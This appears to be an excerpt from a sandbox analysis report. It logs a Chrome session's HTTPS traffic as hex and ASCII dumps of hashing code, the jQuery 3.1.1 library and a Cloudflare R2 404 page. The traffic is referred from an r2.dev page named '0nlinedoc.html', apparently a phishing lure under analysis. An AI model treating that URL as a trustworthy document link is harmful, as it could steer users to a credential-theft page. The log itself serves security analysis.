2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 Data Ascii: A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38])
2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c Data Ascii: one.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<
2024-05-24 05:45:22 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 Data Ascii: function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	151.101.2.137	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:22 UTC	561	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:22 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2664185 Date: Fri, 24 May 2024 05:45:22 GMT X-Served-By: cache-lga21947-LGA, cache-nyc-kteb1890082-NYC X-Cache: HIT, HIT X-Cache-Hits: 2505, 0 X-Timer: S1716529523.584113,VS0,VE1 Vary: Accept-Encoding
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 3e 3d 30 26 26 63 3c 62 3f 5b 74 68 69 73 5b 63 5d 5d 3a 5b 5d 29 7d 2c 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 76 4f 62 6a 65 63 74 7c 7c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7d 2c 70 75 73 68 3a 68 2c 73 6f 72 74 3a 63 2e 73 6f 72 74 2c 73 70 6c 69 63 65 3a 63 2e 73 70 6c 69 63 65 7d 2c 72 2e 65 78 74 65 6e 64 3d 72 2e 66 6e 2e 65 78 74 65 6e 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 7c 7c 7b 7d 2c 68 3d 31 2c 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6a 3d 21 31 3b 66 6f 72 28 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 67 26 26 28 6a 3d 67 2c 67 3d 61 72 67 75 6d 65 6e 74 73 Data Ascii: >=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]\|\|{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3d 30 3b 69 66 28 77 28 61 29 29 7b 66 6f 72 28 63 3d 61 2e 6c 65 6e 67 74 68 3b 64 3c 63 3b 64 2b 2b 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 64 20 69 6e 20 61 29 69 66 28 62 2e 63 61 6c 6c 28 61 5b 64 5d 2c 64 2c 61 5b 64 5d 29 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 61 7d 2c 74 72 69 6d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 22 22 3a 28 61 2b 22 22 29 2e Data Ascii: n a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 61 72 72 61 79 22 3d 3d 3d 63 7c 7c 30 3d 3d 3d 62 7c 7c 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 62 3e 30 26 26 62 2d 31 20 69 6e 20 61 29 7d 76 61 72 20 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 2c 63 2c 64 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 70 2c 71 2c 72 2c 73 2c 74 2c 75 3d 22 73 69 7a 7a 6c 65 22 2b 31 2a 6e 65 77 20 44 61 74 65 2c 76 3d 61 2e 64 6f 63 75 6d 65 6e 74 2c 77 3d 30 2c 78 3d 30 2c 79 3d 68 61 28 29 2c 7a 3d 68 61 28 29 2c 41 3d 68 61 28 29 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 26 26 28 6c 3d 21 30 29 2c 30 7d 2c 43 3d 7b 7d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 44 3d 5b 5d 2c 45 3d 44 2e 70 6f 70 2c 46 3d 44 2e Data Ascii: array"===c\|\|0===b\|\|"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 70 28 22 5e 22 2b 4b 2b 22 2a 5b 3e 2b 7e 5d 7c 3a 28 65 76 65 6e 7c 6f 64 64 7c 65 71 7c 67 74 7c 6c 74 7c 6e 74 68 7c 66 69 72 73 74 7c 6c 61 73 74 29 28 3f 3a 5c 5c 28 22 2b 4b 2b 22 2a 28 28 3f 3a 2d 5c 5c 64 29 3f 5c 5c 64 2a 29 22 2b 4b 2b 22 2a 5c 5c 29 7c 29 28 3f 3d 5b 5e 2d 5d 7c 24 29 22 2c 22 69 22 29 7d 2c 57 3d 2f 5e 28 3f 3a 69 6e 70 75 74 7c 73 65 6c 65 63 74 7c 74 65 78 74 61 72 65 61 7c 62 75 74 74 6f 6e 29 24 2f 69 2c 58 3d 2f 5e 68 5c 64 24 2f 69 2c 59 3d 2f 5e 5b 5e 7b 5d 2b 5c 7b 5c 73 2a 5c 5b 6e 61 74 69 76 65 20 5c 77 2f 2c 5a 3d 2f 5e 28 3f 3a 23 28 5b 5c 77 2d 5d 2b 29 7c 28 5c 77 2b 29 7c 5c 2e 28 5b 5c 77 2d 5d 2b 29 29 24 2f 2c 24 3d 2f 5b 2b 7e 5d 2f 2c 5f 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 28 5b 5c 5c 64 61 Data Ascii: p("^"+K+"[>+~]\|:(even\|odd\|eq\|gt\|lt\|nth\|first\|last)(?:\$"+K+"((?:-\\d)?\\d)"+K+"\$\|)(?=[^-]\|$)","i")},W=/^(?:input\|select\|textarea\|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)\|(\w+)\|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 5b 33 5d 29 26 26 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 26 26 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 29 72 65 74 75 72 6e 20 47 2e 61 70 70 6c 79 28 64 2c 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 66 29 29 2c 64 7d 69 66 28 63 2e 71 73 61 26 26 21 41 5b 61 2b 22 20 22 5d 26 26 28 21 71 7c 7c 21 71 2e 74 65 73 74 28 61 29 29 29 7b 69 66 28 31 21 3d 3d 77 29 73 3d 62 2c 72 3d 61 3b 65 6c 73 65 20 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7b 28 6b 3d 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 6b 3d 6b 2e 72 65 70 6c 61 63 65 28 62 61 2c 63 61 29 3a 62 2e 73 65 74 Data Ascii: [3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q\|\|!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.set
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 65 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 62 2e 69 73 44 69 73 61 62 6c 65 64 3d 3d 3d 61 7c 7c 62 2e 69 73 44 69 73 61 62 6c 65 64 21 3d 3d 21 61 26 26 65 61 28 62 29 3d 3d 3d 61 3a 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 3a 22 6c 61 62 65 6c 22 69 6e 20 62 26 26 62 2e 64 69 73 61 62 6c 65 64 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 61 28 61 29 7b 72 65 74 75 72 6e 20 69 61 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 2b 62 2c 69 61 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 2c 66 3d 61 28 5b 5d 2c 63 2e 6c 65 6e 67 74 68 2c 62 29 2c 67 3d 66 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 67 2d 2d 29 63 5b 65 3d 66 5b 67 5d 5d 26 26 28 63 5b 65 5d 3d 21 28 64 5b 65 Data Ascii: e.disabled===a:b.disabled===a:b.isDisabled===a\|\|b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 6e 20 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 63 26 26 63 2e 76 61 6c 75 65 3d 3d 3d 62 7d 7d 2c 64 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 70 29 7b 76 61 72 20 63 2c 64 2c 65 2c 66 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 61 29 3b 69 66 28 66 29 7b 69 66 28 63 3d 66 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 2c 63 26 26 63 2e 76 61 6c 75 65 Data Ascii: n function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 2f 61 3e 3c 73 65 6c 65 63 74 20 64 69 73 61 62 6c 65 64 3d 27 64 69 73 61 62 6c 65 64 27 3e 3c 6f 70 74 69 6f 6e 2f 3e 3c 2f 73 65 6c 65 63 74 3e 22 3b 76 61 72 20 62 3d 6e 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 62 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 62 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 71 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4b 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 61 2e 71 75 65 72 79 53 Data Ascii: bled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"[^$\|!~]?="),2!==a.queryS
2024-05-24 05:45:22 UTC	1378	IN	Data Raw: 44 6f 63 75 6d 65 6e 74 3d 3d 3d 76 26 26 74 28 76 2c 62 29 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3a 34 26 64 3f 2d 31 3a 31 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 6c 3d 21 30 2c 30 3b 76 61 72 20 63 2c 64 3d 30 2c 65 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 66 3d 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 67 3d 5b 61 5d 2c 68 3d 5b 62 5d 3b 69 66 28 21 65 7c 7c 21 66 29 72 65 74 75 72 6e 20 61 3d 3d 3d 6e 3f 2d 31 3a 62 3d 3d 3d 6e 3f 31 3a 65 3f 2d 31 3a 66 3f 31 3a 6b 3f 49 28 6b 2c 61 29 2d 49 28 6b 2c 62 29 3a 30 3b 69 66 28 65 3d 3d 3d 66 29 72 65 74 75 72 6e 20 6c 61 28 61 2c 62 29 3b 63 3d 61 3b 77 68 69 6c 65 28 63 3d 63 2e 70 61 72 65 6e 74 4e 6f 64 65 29 67 2e 75 6e Data Ascii: Document===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e\|\|!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.un

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	104.18.3.35	443	4432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 05:45:23 UTC	656	OUT	GET /favicon.ico HTTP/1.1 Host: pub-a2527e0fc1774b399011ecd14755d452.r2.dev Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-a2527e0fc1774b399011ecd14755d452.r2.dev/0nlinedoc.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 05:45:23 UTC	180	IN	HTTP/1.1 404 Not Found Date: Fri, 24 May 2024 05:45:23 GMT Content-Type: text/html Content-Length: 27242 Connection: close Server: cloudflare CF-RAY: 888afaaffccb43b2-EWR
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="https://www.cloudflare.com/favicon.ico" /> <title>Not Found</title> <sty
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 74 65 58 28 30 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 31 30 30 25 20 7b 0a 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 58 28 30 70 78 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 73 76 67 20 3e 20 2e 65 79 65 2d 31 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 65 79 65 2d 31 20 33 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 73 76 67 20 3e 20 2e 65 79 65 2d 32 20 7b 0a 20 20 20 20 20 20 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 65 79 65 2d 32 20 33 73 20 30 2e 36 73 20 69 6e 66 69 6e 69 74 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a Data Ascii: teX(0); } 100% { transform: translateX(0px); } } svg > .eye-1 { animation: eye-1 3s infinite; } svg > .eye-2 { animation: eye-2 3s 0.6s infinite; } h1 { font-siz
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 73 3a 2f 2f 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 72 32 2f 64 61 74 61 2d 61 63 63 65 73 73 2f 70 75 62 6c 69 63 2d 62 75 63 6b 65 74 73 2f 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 50 75 62 6c 69 63 20 41 63 63 65 73 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 3c 73 65 63 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 73 76 67 0a 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 34 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 31 32 22 0a 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 31 Data Ascii: s://developers.cloudflare.com/r2/data-access/public-buckets/" >Public Access</a > </p> </div> </section> <section> <svg width="414" height="212" viewBox="0 0 41
2024-05-24 05:45:23 UTC	1369	IN	Data Raw: 2e 32 30 34 20 33 2e 34 30 31 39 31 20 31 32 31 2e 30 35 33 20 30 2e 35 35 33 37 31 31 20 31 32 34 2e 35 36 36 20 30 2e 35 35 33 37 31 31 43 31 32 38 2e 30 38 20 30 2e 35 35 33 37 31 31 20 31 33 30 2e 39 32 38 20 33 2e 34 30 31 39 31 20 31 33 30 2e 39 32 38 20 36 2e 39 31 35 33 34 43 31 33 30 2e 39 32 38 20 31 30 2e 34 32 38 38 20 31 32 38 2e 30 38 20 31 33 2e 32 37 37 20 31 32 34 2e 35 36 36 20 31 33 2e 32 37 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 23 30 30 35 35 44 43 22 0a 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 31 32 32 2e 36 39 32 20 31 30 2e 32 33 34 37 48 31 32 36 2e 34 30 32 56 32 34 2e 30 33 34 35 48 31 32 32 2e 36 39 32 56 31 Data Ascii: .204 3.40191 121.053 0.553711 124.566 0.553711C128.08 0.553711 130.928 3.40191 130.928 6.91534C130.928 10.4288 128.08 13.277 124.566 13.277Z" fill="#0055DC" /> <path d="M122.692 10.2347H126.402V24.0345H122.692V1
